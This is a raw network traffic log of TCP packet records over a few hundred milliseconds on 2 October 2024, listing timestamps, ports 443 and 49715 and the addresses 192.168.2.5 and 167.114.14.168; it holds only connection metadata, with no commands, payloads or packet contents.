Oct 2, 2024 06:10:14.260895967 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.260910988 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.260970116 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.260977030 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.261023045 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.261185884 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.261207104 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.261264086 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.261271000 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.261313915 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.261451006 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.261466980 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.261526108 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.261532068 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.261574984 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.261665106 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.261681080 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.261739016 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.261745930 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.261790037 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.262320995 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.262341976 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.262406111 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.262412071 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.262453079 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.285511971 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.285530090 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.285645008 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.285651922 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.285700083 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.349096060 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.349113941 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.349313021 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.349323988 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.349374056 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.349381924 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.349389076 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.349422932 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.349438906 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.349442959 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.349495888 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.349556923 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.349572897 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.349632025 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.349638939 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.349695921 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.349837065 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.349850893 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.349915981 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.349920988 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.349961996 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.350075960 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.350090981 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.350143909 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.350152016 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.350198030 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.350327015 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.350342035 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.350410938 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.350418091 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.350466967 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.350924969 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.350941896 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.351003885 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.351011038 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.351052999 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.374063969 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.374078035 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.374164104 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.374187946 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.374232054 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.437967062 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.437988043 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.438148022 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.438167095 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.438220978 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.438416958 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.438433886 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.438549995 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.438555956 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.438602924 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.438790083 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.438806057 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.438874006 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.438888073 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.438930988 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.438962936 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.438977957 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.439042091 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.439049959 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.439095974 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.439205885 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.439222097 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.439280987 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.439286947 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.439332962 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.439469099 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.439488888 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.439555883 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.439564943 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.439614058 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.439836025 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.439850092 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.439918041 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.439924002 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.439977884 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.467047930 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.467062950 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.467149973 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.467160940 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.467216015 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.526551962 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.526576996 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.526659966 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.526691914 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.526740074 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.526936054 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.526953936 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.527007103 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.527017117 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.527057886 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.527221918 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.527236938 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.527282953 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.527292967 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.527332067 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.527463913 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.527479887 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.527519941 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.527529001 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.527543068 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.527564049 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.527720928 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.527734995 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.527775049 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.527781963 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.527801037 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.527822971 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.528031111 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.528045893 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.528090000 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.528100014 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.528142929 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.528322935 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.528337002 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.528382063 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.528390884 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.528428078 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.555548906 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.555565119 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.555643082 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.555672884 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.555721045 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.615278006 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.615295887 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.615418911 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.615463018 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.615509987 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.615572929 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.615600109 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.615633965 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.615644932 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.615658998 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.615683079 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.615849018 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.615864038 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.615912914 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.615922928 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.615962029 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.616132021 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.616156101 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.616188049 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.616199017 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.616223097 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.616231918 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.616383076 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.616406918 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.616437912 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.616447926 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.616466999 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.616488934 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.616692066 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.616708994 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.616755009 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.616765976 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.616780043 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.616805077 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.616903067 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.616919041 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.616969109 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.616977930 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.617033958 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.644224882 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.644251108 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.644361019 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.644392967 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.644443035 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.704148054 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.704178095 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.704350948 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.704366922 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.704384089 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.704402924 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.704432964 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.704456091 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.704474926 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.704531908 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.704576015 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.704591990 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.704634905 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.704644918 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.704710960 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.704729080 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.704799891 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.704816103 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.704870939 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.704880953 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.704922915 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.705171108 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.705185890 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.705229998 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.705238104 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.705266953 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.705282927 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.705337048 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.705352068 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.705430031 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.705439091 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.705475092 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.705579042 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.705594063 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.705656052 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.705665112 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.705703974 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.732738018 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.732757092 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.732846022 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.732856989 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.732903957 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.792937040 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.792973995 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.793024063 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.793040991 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.793076992 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.793093920 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.793565989 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.793586016 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.793643951 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.793653965 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.793697119 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.793956995 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.793977976 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.794013023 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.794027090 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.794049025 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.794080019 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.794236898 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.794261932 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.794300079 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.794307947 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.794382095 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.794389009 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.794397116 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.794415951 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.794429064 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.794461966 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.794467926 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.794517040 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.795062065 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.795080900 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.795121908 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.795128107 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.795161009 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.795175076 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.795294046 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.795314074 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.795356035 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.795362949 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.795408964 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.795408964 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.821499109 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.821523905 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.821602106 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.821613073 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.821662903 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.881253004 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.881277084 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.881377935 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.881395102 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.881439924 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.881495953 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.881515026 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.881550074 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.881556988 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.881586075 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.881608963 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.881777048 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.881804943 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.881834984 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.881840944 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.881887913 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.881887913 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.882180929 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.882200956 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.882236958 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.882244110 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.882270098 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.882287025 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.882729053 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.882747889 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.882786036 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.882791996 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.882814884 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.882829905 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.883363962 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.883394957 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.883424044 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.883430958 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.883459091 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.883477926 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.883750916 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.883769989 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.883802891 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.883809090 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.883838892 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.883848906 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.910099983 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.910121918 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.910176039 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.910183907 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:14.910218954 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.910233021 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:14.970287085 CEST	443	49715	167.114.14.168	192.168.2.5
